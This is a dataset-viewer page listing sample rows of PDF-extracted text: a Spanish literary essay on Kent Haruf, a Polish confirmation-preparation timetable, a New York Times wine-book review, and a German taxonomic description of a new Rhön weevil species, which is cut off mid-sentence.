Datasets:
maxidl
/
finepdfs_sample1

Dataset card Data Studio Files
xet
Community
text
large_stringlengths
39
13.3M
id
large_stringlengths
36
47
repo_tree_path
large_stringclasses
20 values
source_dataset
large_stringclasses
1 value
lang
large_stringclasses
20 values
num_chars
uint32
39
13.3M
Kent Haruf (1943-2014) es un escritor norteamericano nacido en Pueblo, Colorado. Su primera novela, *The tie that binds*, se publicó en 1984 cuando el autor tenía ya 41 años. En 1990 publicó *Where you once belonged*, pero alcanza la madurez como escritor con la denominada *Trilogía de la Llanura*: *La canción de la llanura* (1999), *Al final de la tarde* (2004) y *Bendición* (2013). Kent Haruf es diagnosticado de una enfermedad terminal y en 2014 escribe la que será su última novela, *Nosotros en la noche*, que se publica un año después de su muerte y que se adapta al cine en 2017 con una película protagonizada por Robert Redford y Jane Fonda. Haruf ha recibido diversos premios, entre ellos el *Whiting Foundation Writer’s Award*, el *Mountains & Plains Booksellers Award* y el *Wallace Stegner Award*. Fue además finalista del *National Book Award*, el *Los Angeles Times Book Prize* y el *New Yorker Book Award*. Kent Haruf no es un autor demasiado conocido en nuestro país. Yo llegué a él gracias a una acertada recomendación y, sin proponérmelo, empecé leyendo la que sería su última novela *Nosotros en la noche*. Me conmovió y enamoró su prosa por lo que decidí seguir conociendo a este fantástico escritor leyendo la trilogía publicada en castellano por Penguin Random House. Estas tres novelas pueden leerse de manera independiente, si bien es aconsejable leer las dos primeras por orden, mientras que la última sí puede leerse con independencia de las otras. Todas las novelas de Haruf se sitúan en una comunidad rural ficticia de Colorado llamada Holt. Haruf se une a la larga lista de escritores que sienten la necesidad de inventar un espacio que acaba siendo casi real (recordemos *Macondo* de Gabriel García Márquez; *Yoknapatawpha* de William Faulkner; *Vigatá* de Andrea Camilleri; o *Vetusta* de Leopoldo Alas “Clarín”, por poner algunos ejemplos de espacios ficticios literarios célebres) y donde transcurre la vida de sus personajes. No puede entenderse a Haruf sin hablar de Holt. “Salieron de Denver alejándose de las montañas, de vuelta a las altas llanuras: artemisa y jabonera y navajita y hierba de búfalo en los pastizales, trigo y maíz en los campos. A ambos lados de la carretera se perdían las pistas comarcales de grava bajo un cielo azul puro, rectas como los renglones de un libro, con algunos pueblos aislados dispersos por la planicie.” (*Bendición*, pág. 11) La prosa de Kent Haruf es sencilla, sobria, libre de florituras y sin apenas presencia de grandes recursos literarios. Utiliza frases cortas y directas. Los diálogos son creíbles, reflejo de unos personajes que se muestran tal como son y que el lector conoce por lo que expresan. El narrador interviene poco, lo justo, cediéndoles todo el protagonismo. Tampoco hay predominio de extensas descripciones, más bien es parco en ellas, y suelen aparecer solo cuando son estrictamente necesarias. Haruf tiene la gran capacidad de hacer que lo cotidiano sea materia literaria, y esto es lo que hace que este autor sea tan interesante. Nos habla de la Vida, así, en mayúsculas, y no es para nada difícil identificarse con lo que nos narra porque nos muestra vidas de personas normales y corrientes, gente común, de tal manera que cada uno de nosotros bien pudieramos ser protagonistas de sus novelas. Su gran logro es conseguir que el lector no pueda dejar de leer siguiendo el progreso de historias cotidianas, muy realistas y tremendamente humanas. Haruf moldea unos personajes entrañables que el lector se llevará consigo incluso después de haber cerrado el libro. Las novelas de la *Trilogía de la Llanura* son corales, sin embargo, en ellas hay unos personajes que destacan y entorno a los cuales los demás giran. En el caso de *Bendición* -la última novela de la trilogía y la que mejor refleja la plenitud y madurez de Haruf como escritor- el personaje central será Papá Lewis, un anciano enfermo cuyo fin está cerca. Papá Lewis, antes de morir, querrá zanjar diversos temas de manera que su esposa e hija no tengan de qué preocuparse cuando él ya no esté, repasará su vida y se irá despidiendo de quiénes considera que han sido importantes para él, aunque le va a quedar una asignatura pendiente: reconciliarse con su hijo Frank del que nada se sabe. Y mientras su vida se apaga la de su familia y vecinos continúa. Seremos testigos de los desvelos de Mary y Lorraine por que los últimos días de Papá Lewis sean lo más apacibles posibles mientras cada una intenta sobrellevar sus propias preocupaciones. Conoceremos a Berta May, vecina de los Lewis, que ha tenido que hacerse cargo de su nieta Alice al morir su madre; a Willa y Alene que acabarán estrechando lazos con Lorraine y Berta May y para las que la pequeña Alice será un soplo de aire fresco; al polémico reverendo Lyle y su familia... Haruf conecta a todos estos personajes mediante un hilo invisible que los une de manera que las relaciones que se establecen entre ellos acaban por conformar el universo particular de Holt. En la narrativa de Haruf es frecuente encontrarnos con pasajes que nos cuentan algo aparentemente intrascendente, pero que, sin embargo, tiene una gran carga emocional. "Le ayudaron a trasladarse al porche delantero y se quedaron a ver llover sobre el césped y en la calle de grava. Ya se habían formado charcos en las zonas más bajas y los álamos blancos estaban negros, chorreaban. Lorraine sacó una mano bajo la lluvia y se mojó la cara y luego juntó las dos manos como un cuenco y recogió el agua que rebosaban los canalones y se la acercó a su padre a la cara. Papá aguantó apoyado en el bastón mientras le goteaba la cara. Todos lo miraron, él miraba directamente al césped, más allá de la verja de hierro forjado, más allá de la calle mojada, hacia el solar vacío, pensando algo. ¿A que huele bien?, dijo Mary. Sí, respondió él en voz baja. Tenía los ojos húmedos, pero no sabrían decir si por las lágrimas o por la lluvia." (Bendición, pág. 89) La familia, la vejez, la muerte, la soledad, el amor y el desamor, la intolerancia, la necesidad del perdón... serán algunos de los temas que va a tratar; temas profundos, duros en ocasiones, de los que se servirá para ahondar en las emociones de los personajes, pero siempre evitando el sentimentalismo y la commiseración. En las historias que Haruf desarrolla no pasa nada y pasa absolutamente todo, y esto es lo que más atrae de este escritor. Son historias que nos hacen reflexionar sobre la vida de los demás y sobre la propia; nos ayudan a entender quiénes somos a partir de las relaciones que establecemos con los que nos rodean. Son novelas llenas de esperanza, para nada tristes, que nos empujan a reconciliarnos con el mundo. Además, nos ofrecen la oportunidad de llevar a cabo una lectura pausada, consciente, casi terapéutica, que nos permite ralentizar el frenético ritmo al que nos vemos sometidos por una realidad que va muchas veces demasiado deprisa.
<urn:uuid:2cfa290d-4322-4790-911d-46a66d47aabe>
HuggingFaceFW/finepdfs/tree/main/data/spa_Latn/train
finepdfs
spa_Latn
6,922
Harmonogram przygotowania do sakramentu Bierzmowania w roku 2017/2018 klas 7 Szkoły Podstawowej ZAŁOŻENIA FORMACJI | GŁOWA | Formacja intelektualna, czyli zdobywanie wiedzy o naszej religii. Dzieje się to przede wszystkim na lekcjach katechezy w szkole. Spotkania w grupie około 1 w miesiącu | Spotkania w grupach raz w miesiącu Znajomość modlitw i Małego Katechizmu Znajomość historii Jezusa, Maryi, Znajomość Pierwszej Wspólnoty Wierzących i swojej parafii Katecheza w szkole - ocena ale także i zachowanie | |---|---|---| | SERCE | Formacja duchowa, czyli „łapanie” kontaktu z Panem Bogiem, budowanie przyjaźni z Jezusem, szukanie pomocy u świętych. W chrześcijaństwie nie tyle chodzi o to, by coś o Bogu wiedzieć, lecz by na co dzień doświadczać Jego obecności. | Codzienna modlitwa Czytanie Słowa Bożego – Pismo Święte Udział w niedzielnej i świątecznej Eucharystii Spowiadaj się kiedy zajdzie taka potrzeba, postaraj się robić to co 2 miesiące. Najpierw jednak zdobądź 9 pierwszych piątków miesiąca. Aktywny udział w nabożeństwach - raz w każdym okresie liturgicznym Celebracje Dzień skupienia Rekolekcje szkolne | | RĘCE | Ręce symbolizują zaangażowanie, działanie człowieka. Parafia to wspólnota, nic samo się nie zrobi. Spróbuj. Możesz włączyć się w różne dzieła. Możesz też zgłosić się ze swoim pomysłem | Dwa razy w roku pomóc w jakiejś sprawie. Posługa w czasie Mszy 5 razy w całym cyklu ( dary i czytanie Modlitwy Powszechnej) zgłosić się ze swoim pomysłem. | HARMONOGRAM SPOTKAŃ I DZIAŁAŃ Wrzesień 2017 - Zapisy i uaktualnienie danych 17.09 po niedzielnej Eucharystii godz. 19 00 - Pierwsze spotkanie i podział na grupy we wtorek 19.09 godzina 17 00 - Spowiedź na rozpoczęcie formacji do 31.09 Październik 2017 - CELEBRACJA uczestniczenie w różańcu ….. - Udział w czasie misji w czwartek 12.10 o 17 30 w spotkaniu z Misjonarzem - Nabożeństwo Fatimskie 13.10 piątek 18 00 z Eucharystią - Spotkanie w grupach według zapisów - Czytanie modlitwy Powszechnej (przynajmniej 3 razy w czasie Eucharystii niedzielnej)* - Niesienie darów( przynajmniej 4 razy)* Listopad 2017 - Rozmowa z Proboszczem indywidualna* - Spotkanie w grupach według zapisów Grudzień 2017 - Celebracja – 8 .12 piątek godzina 19 15 - Spotkanie w grupach według zapisów Styczeń 2018 - Spotkanie w grupach według zapisów Luty 2018 - Spotkanie w grupach według zapisów - Celebracja 9.02. piątek godz. 19 15 Marzec 2018 - Spotkanie w grupach według zapisów - Spowiedź wielkopostna - Droga Krzyżowa w kaplicy w Lusówku i w regionie w jakim mieszkamy* - Gorzkie Żale z Eucharystią niedziela 04 03 godzina 18 30 Kwiecień 2018 - Spotkanie w grupach według zapisów - Celebracja Droga Światła - Dzień Skupienia Maj 2018 - Spotkanie w grupach według zapisów Czerwiec 2018 - Spotkania Liturgiczne przygotowawcze do Uroczystosci - Spowiedź adwentowa - Bierzmowanie Spotkanie dla Rodziców niedziela 17.09; 03.12; 04.03 po Mszy o 1900 i na zakończenie dnia skupienia.
<urn:uuid:12a0a2de-f759-44b8-b5ff-7fa4f3744dd2>
HuggingFaceFW/finepdfs/tree/main/data/pol_Latn/train
finepdfs
pol_Latn
2,978
November 17, 2009 The Pour An Invitation to Read, Sniff and Taste By ERIC ASIMOV BOOKS about wine are no substitute for drinking wine. But these six new selections can help to better understand what's in the glass, and what's in the minds of those who make wine and consume it. Jonathan Nossiter is the wine world's own special irritant. In manner and style, his new book, Liquid Memory: Why Wine Matters (Farrar, Straus & Giroux, $25), like his 2004 movie "Mondovino," is annoying, polarizing and provocative. It raises questions that deserve to be considered, yet his technique and style may turn off potential converts. As portrayed by Mr. Nossiter, the world of wine today is a Manichean battleground, where the soulless forces of homogenization — Robert M. Parker Jr., Wine Spectator, etc. — have turned wine, a true emblem of individuality, community and culture, into (gasp) a commodity. even humorous. YOUR CHOICE Recent wine books are provocative, philosophical and "Do people across the world really want all these alcoholized sodapop concoctions," he asks, "or are they conned and bullied by marketing and the collusion of the market into submitting to them?" Mr. Nossiter raises other, more interesting, issues. Why is it that we resort to the absurd language of tasting notes to try to beat a wine down to its most obscure aroma and flavor? Does wine, like great art, illuminate the deepest ideas of what it means to be human? Or is it craft? How does something agrarian at heart retain its integrity in a post-industrial world? These are all important questions, yet Mr. Nossiter draws attention away from them with regular showoff references to obscure avant-garde film directors and philosophers. He interrupts his lecture to meet with Burgundian winemakers he respects, like Christophe Roumier and Dominique Lafon. When he settles down to listen, we can all learn something. Randall Grahm, the proprietor of Bonny Doon Vineyard, is an original thinker, and unlike Mr. Nossiter, he has warmth and a sense of humor. They are all on full display in Been Doon So Long (University of California Press, $34.95), an anthology — or "vinthology," as Mr. Grahm puts it — of several decades worth of literary satires, reveries, incessant yet clever puns and gnomic prognostications. Regardless of genre, Mr. Grahm's thoughts are brilliantly observed and beautifully rendered. But they are not light reading. Footnotes are sometimes longer and more convoluted than the text, and that's just in the introduction. Mr. Grahm is also relentlessly self-promotional, which puts him in the good company of writer-merchants like Kermit Lynch. In both cases, the joy and the vision they offer makes the salesmanship more than tolerable. As labors of love go, The Châteauneuf-du-Pape Wine Book (Kavino, $79), by Harry Karis, is more an act of devotion. Mr. Karis, a chef, doctor and wine aficionado, spent more than three years and, he says, 500,000 euros researching, writing, designing and publishing this homage to the great wine of the southern Rhone Valley. The result is a handsome coffee table reference book that for now, at least, is the definitive work on Châteauneuf. Along with summary descriptions of more than 250 producers, Mr. Karis painstakingly but pleasantly covers Châteauneuf's history, geography, geology, climate, soil and winemaking. While passionate about Châteauneuf, Mr. Karis maintains an even keel and largely refrains from critical judgments. What comes through is his love and profound respect for the region, its wines and the people. The team behind The World of Fine Wine, an erudite British quarterly, has begun a series of excellent illustrated guides to some of the world's classic wine regions. The first two, The Finest Wines of Tuscany and Central Italy by Nicolas Belfrage, and The Finest Wines of Champagne by Michael Edwards, have been issued in the United States by The University of California Press, for $34.95. Both books are straightforward yet refreshingly opinionated, and full of useful information on the people and issues shaping the wines in each region. The Champagne guide discusses many small grower-producers who have made the region so exciting in the last decade. The Tuscan book focuses on well-known regions in the province. I can't help being disappointed that the lumped-in regions of Umbria, Marche and Romagna are given such short shrift. Perhaps they will merit their own guide one day. Wine lovers long for the invitation, "Would you like to see my cellar?" In truth, the invitation rarely comes. Few among us have cellars worth seeing, and even fewer of our friends do, which makes Living With Wine (Potter, $75) a gorgeous photographic trip to the cellars of our dreams, such a tease. The prose, by Samantha Nestor with Alice Feiring, is direct but somewhat beside the point. The focus is on Andrew French's photos, which document the urge to store wine, whether in actual cellars, in backlit caves or, as in so many starter collections, under stairs. And yet this book is not so much about wine as it is about design. It satisfies the desire to know that those gorgeous floor tiles are "tumbled limestone." But the urge to fondle bottles of great old treasures is unsatisfied. It's all a bit too neat, more for display than for consumption. http://www.nytimes.com/2009/11/18/dining/18pour.html
<urn:uuid:86523e0e-0399-4cb5-95c1-e9e368bd02df>
HuggingFaceFW/finepdfs/tree/main/data/eng_Latn/train
finepdfs
eng_Latn
5,378
Institut für Pflanzenschutzforschung (BZA) der Akademie der Landwirtschaftswissenschaften der DDR zu Berlin Zweigstelle Eberswalde Abteilung Taxonomie der Insekten (ehem. DEI) Eberswalde L. DIECKMANN *Hypera folwacznyi* spec. nov. aus dem Rhön-Gebirge (Coleoptera, Curculionidae) Mit 10 Figuren Das Auffinden eines neuen Rüsslers im fränkischen Teil der Hoch-Rhön durch FOLWACZNY (Bad Hersfeld) ist für das koloropterologisch so gut erforschte Mitteleuropa als Überraschung anzusehen, zumal es sich bei dieser neuen Art aus der Gattung *Hypera Germar* (= *Phytomus Schoenherr*) um Käfer von 5,3—6,2 mm Länge handelt, die man schon zu den „großen“ Rüsselkäfern rechnen muß. Auf einer Exkursion in den thüringischen Teil der Rhön, die ich gemeinsam mit meinem Kollegen Dr. J. OEHlke durchführte, wurde die neue Art auch für das Gebiet der DDR gefunden. Außerdem war es mir dabei möglich, Beiträge zur Biologie und zum Entwicklungskreislauf zu liefern, in Ergänzung zu den ökologischen Daten, die bereits FOLWACZNY zusammengetragen hatte. Gezieltes Sammeln an der Wirtspflanze, sowohl in den Mittelgebirgen als auch in den Alpen, sollte zeigen, ob *H. folwacznyi* eine weitere Verbreitung hat oder als Endemit des Rhön-Gebirges anzusehen ist. **Beschreibung** **Typus:** ♂, Thüringen, Hoch-Rhön: Ellenbogen nördlich Frankenheim, 23. 7. 1974, leg. DIECKMANN, in der Sammlung des Instituts für Pflanzenschutzforschung, Abteilung Taxonomie der Insekten, Eberswalde (ehemals DEI). **Paratypen:** Alle Exemplare, die im Abschnitt Verbreitung aufgezählt werden. **Größe:** 5,3—6,2 mm. **Körperform:** Langoval, beim ♂ etwas schmaler als beim ♀ (Fig. 1, 2). **Färbung:** Schwarz, basale Hälfte des Fühlerschaftes meist rotbraun; Dornen am inneren Spitzenrand der Schienen manchmal gebräunt. **Integument:** Körper mit anliegenden hellgrauen und schwarzbraunen Haaren und Schuppen fleckig bedeckt; die hellen Haare und Schuppen zeigen meist einen schwachen kupferroten, seltener grünen Metallglanz. Die Schuppen sind an der Spitze zweizipflig; der Ausschnitt liegt im Gebiet des Spitzendrittels, manchmal reicht er bis zur Mitte der Schuppe. Die Haare sind etwa doppelt so lang wie die Schuppen. Halsschild auf der Scheibe meist dicht behaart, an den Seiten beschuppt; Scheibe mit zentraler heller Längsbinde, die in der Mitte meist erweitert ist, daneben je ein dunkles Längsband; die Seiten vorwiegend mit hellen Schuppen. Zwischenräume der Flügeldecken so dicht beschuppt, daß der schwarze Untergrund fast bedeckt wird (Fig. 3); Punktstreifen kahl. Auf allen Zwischenräumen sind von der Basis bis zur Spitze in die helle Grundbeschuppung schwarze, meist runde Schuppenflecken eingelagert; dabei sind die Flecken der ungeraden Zwischenräume viel größer als die der geraden (Fig. 1, 2). Etwa bei einem Drittel der Käfer verdichten sich die dunklen Flecken in Richtung Flügeldeckenbasis und fließen hier oft zusammen; zur Flügeldeckenspitze ist der Abstand zwischen ihnen viel größer; bei einigen Exemplaren ist das basale Drittel völlig schwarz beschuppt. Auf jedem Zwischenraum befinden sich helle und dunkle Haare, die in einer unregelmäßigen Reihe angeordnet und L. DIECKMANN: *Hypera folvacnji* spec. nov. DOI: 10.21248/contrib.entomol.25.1.15-20 geringfügig angehoben sind. Unterseite des Körpers vorwiegend hell beschuppt; auf den Sterniten sind die Seiten stärker mit Schuppen und die Mitte mehr mit Haaren bedeckt. Rüssel, Fühler und Beine hell behaart, nur basale Hälfte der Schenkel beschuppt. Kopf: Rüssel in beiden Geschlechtern gleich geformt, zylindrisch, schwach gebogen, mit parallelen Seiten, an der Basis meist geringfügig verschmälert, etwas kürzer als der Halsschild, oben in der Mitte mit flachem, glänzendem Kiel, sonst dicht punktiert; unten kurz vor der Basis mit stumpfem Höcker (von der Seite zu sehen). Augen flach, nicht aus der Kopfwölbung vortretend, langoval. Stirn um ein Drittel schmaler als der Rüssel an der Basis, flach, in der Mitte auf der Höhe des Hinterrandes der Augen mit Punktgrube. Fühler etwa im vorderen Viertel des Rüssels eingelenkt, beim ♂ etwas näher zur Spitze als beim ♀; Fühlerschaft etwas kürzer als die Geißel, im Spitzendrittel gekeult; 1. Glied der Geißel 2,5—3 mal so lang wie an der Spitze breit und 1,3 mal länger als das 2. Glied, dieses 2,3 mal so lang wie an der Spitze breit, 3.—5. Glied fast kugelförmig, 6. und 7. Glied etwas breiter als lang; Keule langoval, so lang wie die letzten 5 Geißelglieder zusammen (Fig. 5). Halsschild: Etwas breiter als lang (Länge : Breite = 1:1,2—1,3), Seiten stark gerundet, vor den Hinterwinkeln ausgeschweift, größte Breite vor der Mitte, der Umriß so ähnlich wie bei *H. plantaginis* (DEGEER); wenig gewölbt; dicht punktiert. Flügeldecken: Eiförmig, beim ♂ etwas schlanker als beim ♀ (beim ♂ Breite : Länge = 1:1,55—1,60, beim ♀ Breite : Länge = 1:1,45—1,50); mit schwach gerundeten Seiten; größte Breite etwas vor der Mitte; mit deutlichen Punktstreifen, deren Punkte zur Basis hin größer sind und tiefer liegen; Zwischenräume flach, 3—4 mal so breit wie die Punktstreifen. Flügel fehlen. Unterseite: 1. und 2. Sternit des Abdomens beim ♂ in der Mitte mit flacher Mulde, beim ♀ gleichmäßig gewölbt, letztes Sternit in beiden Geschlechtern in der Mitte flach eingedrückt. Mesosternalfortsatz zwischen den Mittelhüften schmal, parallelseitig, an der Spitze abgestutzt. Beine: Schienen fast gerade, beim ♂ etwas länger und dünner, aber nicht stärker nach innen gebogen als beim ♀; Innenrand der Vorderschienen beim ♂ vor der Mitte (etwa 3/5 der Schienenlänge von der Basis entfernt) mit einem kräftigen Zahn (Fig. 7); von diesem Zahn bis zum Spitzendorn Innenrand der Schiene konkav geschweift und dichter behaart, beim ♀ ist die Vorderschiene an der gleichen Stelle nur etwas verdickt, mit seichterer Auschwefung zur Spitze (Fig. 8). Innerer Spitzennrand der Schienen mit einem Dorn, dieser beim ♂ kräftiger und weiter nach innen vortretend als beim ♀. Tarsen beim ♂ ein wenig breiter als beim ♀. Penis: Fig. 9, Form nahezu identisch mit der Abbildung, die PETRI (1901) für *Hypera gestroi* (PETRI) gezeichnet hat. Differentialdiagnose: Auf Grund der Ausbildung des Zahns am Innenrand der Vorderschienen der ♂♂ gehört *H. folwaczyi* in die Verwandtschaftsgruppe der *Hypera arator* (LINNÉ), in die PETRI (1901, p. 110) in seiner Revision die folgenden acht Arten gestellt hat: *arator* (LINNÉ) aus ganz Europa, *schusteri* (PETRI) (synonym zu *arator*), *dentatus* (PETRI) von Sarajevo in Bosnien und vom Rodnaer Gebirge im nördlichen Rumäniien, *pandellei* (CAPROMONT) aus den französischen Pyrenäen, *gestroi* (PETRI) aus Sibirien, *frivaldszkyi* (PETRI) aus dem Banat, *pustulatus* (PETRI) aus dem Banat und *carinicollis* (STIERLIN) aus Transsilvanien. Dabei steht die neue Art *H. pandellei* und *H. gestroi* am nächsten und soll mit diesen verglichen werden. Bei *H. folwaczyi* Fühler schwarz (nur der Fühlerschaft manchmal zum Teil gebräunt), etwas kürzer, Geißelglieder 3 bis 5 fast kugelförmig (Fig. 5); Halsschild feiner punktiert, die Schuppen an den Seiten meist zweizipflig; Schuppen der Flügeldecken etwas größer, meist tiefer ausgeschnitten und so dicht gelagert, daß sie sich fast berühren (Fig. 3); Penis kürzer, breiter und an der Spitze weniger verbreitert (Fig. 9); auf *Lathyrus pratensis* L. lebend. --- Fig. 1—2. Habitusbilder der beiden Geschlechter von *Hypera folwaczyi* spec. nov.: Fig. 1. ♂. — Fig. 2. ♀ Fig. 3—4. Beschuppung der Flügeldecken: Fig. 3. *Hypera folwaczyi* spec. nov. — Fig. 4. *Hypera pandellei* (CAPROMONT) Fig. 5—6. Fühler: Fig. 5. *Hypera folwaczyi* spec. nov. — Fig. 6. *Hypera pandellei* (CAPROMONT) Fig. 7—8. Rechte Vorderschiene von *Hypera folwaczyi* spec. nov.: Fig. 7. ♂. — Fig. 8. ♀ Fig. 9—10. Form der Penisspitze: Fig. 9. *Hypera folwaczyi* spec. nov. — Fig. 10. *Hypera pandellei* (CAPROMONT) 2 Beitr. Ent. 25, H. 1 Bei *H. pandellei*, von der mir 6 Exemplare vorlagen, Fühler rotbraun (die Spitze des Schaftes manchmal dunkler), länger, Geißelglieder 3 bis 5 meist etwas länger als breit und teilweise kegelförmig (Fig. 6); Halsschild etwas größer punktiert, an den Seiten meist schuppenförmige Haare, die nur selten zweizipflig sind; Schuppen der Flügeldecken kleiner, meist nicht so tief ausgeschnitten, weniger dicht gelagert, der Abstand zwischen ihnen fast von Schuppenbreite, dadurch der schwarze Untergrund deutlich durchscheinend (Fig. 4); Penis länger und schlanker, an der Spitze deutlich winklig verbreitert (Fig. 10); auf *Lathyrus montanus* BERNH. und *Vicia sepium* L. lebend. Von *H. gestroi* lag mir kein Material vor, so daß die Abgrenzung nur mit Hilfe der ausführlichen Beschreibung und einer beigefügten Umrißzeichnung des Körpers dieser sibirischen Art vorgenommen werden kann. Bei *H. gestroi* ist der Halsschild kugelförmig, die Seiten fast bis zu den Hinterwinkeln gerundet; Flügeldecken regelmäßig oval, mit völlig ver rundeten Schultern. Bei *H. folwacznyi* ist der Halsschild vor dem Hinterwinkel geschweift, so daß er einen herzförmigen Umriß hat; Flügeldecken eiförmig, trotz der Flügellosigkeit mit deutlich vortretenden Schultern (Fig. 1, 2). Da *H. folwacznyi* bis jetzt nur aus Mitteleuropa bekannt ist, soll auch noch ein Vergleich mit ähnlichen Arten dieses Gebietes vorgenommen werden. Das markanteste Merkmal von *H. folwacznyi*, der Zahn des ♂ am Innenrand der Vorderschiene, kommt nur bei *H. arator* (LINNÉ) vor. Diese Art läßt sich jedoch ganz leicht durch die längsstreifige Zeichnung der Flügeldecken unterscheiden. ♀♀ von *H. folwacznyi* könnten wegen der hell-dunklen Flek kung der Flügeldecken mit *H. contaminata* (HERBST), *H. pedestris* (PAYKULL) oder *H. viciae* (GYLLENHAL) verwechselt werden. Bei diesen drei Arten ist in beiden Geschlechtern der Innenrand der Vorderschiene vor der Mitte nicht nach innen gewölbt, sondern ist gerade oder schwach konkav geschweift; bei *H. folwacznyi* sind die Vorderschiene der ♀♀ vor der Mitte schwach erweitert (Fig. 8). Bei *H. contaminata* und *H. viciae* ist der Rüssel dünner als bei *H. folwacznyi* und die Flügeldecken sind bis über die Mitte parallellieg mit recht eckig vortretenden Schultern; bei *H. folwacznyi* ist der Rüssel dicker, die Flügeldecken verbreitern sich bis kurz vor die Mitte und verschmälern sich von hier bis zur Spitze (Fig. 1, 2). Bei den ♀♀ von *H. pedestris* sind die Flügeldecken meist hinter der Mitte am breitesten; der Rüssel ist dicker als bei *H. folwacznyi* und der Halsschild nicht herzförmig, sondern an den Seiten nach vorn und hinten gleichmäßig gerundet, ohne Ausschweifung von den Hinterwinkeln. **Larve:** 9—10 mm lang (gemessen an 4 erwachsenen, lebenden Larven). Kopf schwarz, Thorax und Abdomen hellgrün, mit einem weißen Längsband in der Mitte und je einem an der Seite unter der Reihe der schwarzen Stigmen; zwischen diesen weißen Bändern liegt eine undeutliche, weißlich-grüne Längsbinde. Prothorax ungeteilt, Meso- und Meta thorax zweiteilig; Abdominalsegmente 1—6 dreiteilig, 7.—8. Segment zweiteilig, 9. Segment ungeteilt. Oberseite mit schwarzen Körnchen, aus denen kurze, schwarze Borsten entspringen: Prothorax mit 18—20 Borsten, Meso- und Metathorax haben auf dem Praenotum 1 Paar und auf dem Postnotum jederseits 6 Borsten. Auf den Abdominal segmenten 1—6 Protergum in der Mitte mit 2 Borsten, Tergum ohne Borsten und Post tergum an der Seite mit 6 in einer Reihe liegender Borsten; 7. und 8. Segment vorn mit 1 Paar und hinten mit 6 Borsten, von denen die 2. und 4. Borste etwas nach vorn gerückt sind; 9. Segment vorn mit 1 Paar und hinten mit jederseits 4 Borsten. **Puppe:** 8 mm lang (gemessen an einer lebenden Puppe). Gelbgrün. Abdominal segmente dorsal mit dunklen Körnchen, aus denen helle Haare entspringen: Segmente 1—5 vorn mit 1 Paar und hinten an jeder Seite mit 6 Haaren, 6. Segment nur mit 5 Haaren; auf den folgenden Segmenten mit unregelmäßiger Anordnung der Haare. Die Puppe liegt in einem gelben, pergamentartigen, nicht gegitterten Kokon. Eine Puppe, die sich außerhalb eines Kokons aus einer Larve entwickelte, drehte sich bei Störung minutenlang um ihre Längsachse. **Phylogenetische Beziehungen:** Innerhalb der acht Arten der *H. arator*-Gruppe bilden *H. pandellei*, *H. folwacznyi* und *H. gestroi* auf Grund der ähnlichen Penisform eine engere Verwandtschaftsgruppe. Dabei steht *H. folwacznyi* der *H. pandellei* durch die gleiche Gestalt von Halsschild und Flügeldecken näher als der in dieser Hinsicht abweichend geformten *H. gestroi*. Die beiden erstgenannten Arten haben außerdem in der Gattung Lathyrus verwandte Wirtspflanzen: *H. folwacznji* auf *L. pratensis* L., *H. pandellei* auf *L. montanus* Bernh. Die letztere Art wurde jedoch von Tempère (1972, p. 152) in den Pyrenäen auch noch von der nahe verwandten Gattung *Vicia* (*V. sepium* L.) gesammelt. Die Larven von *H. pandellei* hat Tempère außerdem mit *Lathyrus latifolius* L. und *Vicia sativa* L. großgezogen. Ich möchte annehmen, daß *H. pandellei* aus den Pyrenäen und *H. folwacznji* aus der Rhön auf eine gemeinsame, auch im Gebirge lebende Stammart zurückzuführen sind. Diese wurde wahrscheinlich in einem frühen Glazial von einem unbekannten höheren Gebirge durch dessen Vergletscherung in die Ebene getrieben, hat sich hier ausgebreitet und im folgenden Interglazial in verschiedene Gebirge zurückgezogen. In der Zwischenzeit haben sich die Populationen der Pyrenäen und der Rhön zu selbständigen Arten entwickelt und sich wegen ihrer Flugunfähigkeit auf die kleinen, jetzt besiedelten Areale beschränken müssen. Es ist anzunehmen, daß weitere Populationen dieser Ausgangsart in anderen, zwischen den Pyrenäen und der Rhön gelegenen Gebirgen existiert haben oder noch existieren. Wenn man bedenkt, daß *H. pandellei* bis zur Aufdeckung der Lebensweise durch Tempère als sehr seltene Art galt und *H. folwacznji* in dem so gut erforschten Mitteleuropa erst jetzt entdeckt worden ist, dann kann man erwarten, daß Formen dieses Verwandtschaftskreises noch in weiteren Gebirgen aufgefunden werden. Das würde dann auch zur Absicherung der Bewertung des taxonomischen Status von *H. folwacznji* beitragen. Ich habe mich zunächst entschieden, dem hier neu beschriebenen Taxon, den Artstatus zu geben und dieses nicht nur als geographische Subspecies von *H. pandellei* anzusehen. Die acht Merkmale, die zur Unterscheidung der beiden Taxa aufgezählt wurden, so subtil sie auch sein mögen, betrachte ich als ausreichende Begründung für diese Entscheidung. Biologie: Die Wirtspflanze ist die Wiesenplatterse *Lathyrus pratensis* L. Die Fundstellen liegen in der Rhön in Höhenlagen zwischen 700 und 800 m. Nach Angaben Folwacznys stammen die Käfer von Pflanzen, die in der Nähe von Büschen und Bäumen oder am Waldrand standen, also nicht im freien Wiesengelände. Ich sammelte die Käfer auf einer großen Waldwiese, etwa 20 Meter vom Waldrand entfernt. Die von mir am 23. 7. 1974 gesammelten Larven und Käfer wie auch die drei aus Kokons gezüchteten Käfer fraßen in der Gefangenschaft nur an den gelben Blüten der Wirtspflanze, nicht an ihren Blättern oder Stengeln. Folwaczný glaubt, daß ein Streifenfraß am Stengel von den Käfern herrühren könnte. Über die Entwicklung der neuen Art lassen sich an Hand der von Folwaczný gesammelten Käfer und der von ihm übermittelten Daten folgende Angaben machen: ein am 23. 6. 1968 gesammeltes ♂ war völlig ausgehärtet, gehört also zur alten Generation. Die vier am 21. 7. und die 24 am 29. 7. 1973 erbeuteten Käfer waren voll ausgefärbt, aber noch nicht ganz ausgehärtet und sind somit Angehörige der neuen Generation. Ende August 1973 waren keine Käfer mehr zu finden. Für das Jahr 1974, das durch seinen kühlen Sommer eine Verzögerung der Entwicklung um ein bis zwei Wochen verursacht haben könnte, lieferte Folwaczný folgende Daten: Am 20. 6. waren auf den Wirtspflanzen weder Larven noch Käfer; am 8. 7. gab es in den Blütenständen Larven verschiedener Größe, aber keine Kokons; am 8. 8. wurden zwei Käfer, aber keine Larven und Kokons gefunden. Wie schon oben angegeben, fand ich am 23. 7. 1974 drei Käfer der neuen Generation, Larven verschiedener Größe und drei gelbe Kokons mit pergamentartiger, nicht gegitterter Wand; in zwei dieser Kokons waren Larven, in einem eine Puppe. Larven und Kokons wurden zur Zucht mitgenommen. Am 24. 7. verließ eine Larve den Kokon durch ein Loch, das beim Abtrennen des Kokons von der Unterlage entstanden war. Diese Larve verpuppte sich am 25. 7. im Glasröhrchen und lieferte am 1. 8. einen männlichen Käfer, dessen linke Flügeldecke nach dem Schlüpfen verkrüppelte. Der Kokon mit der zweiten 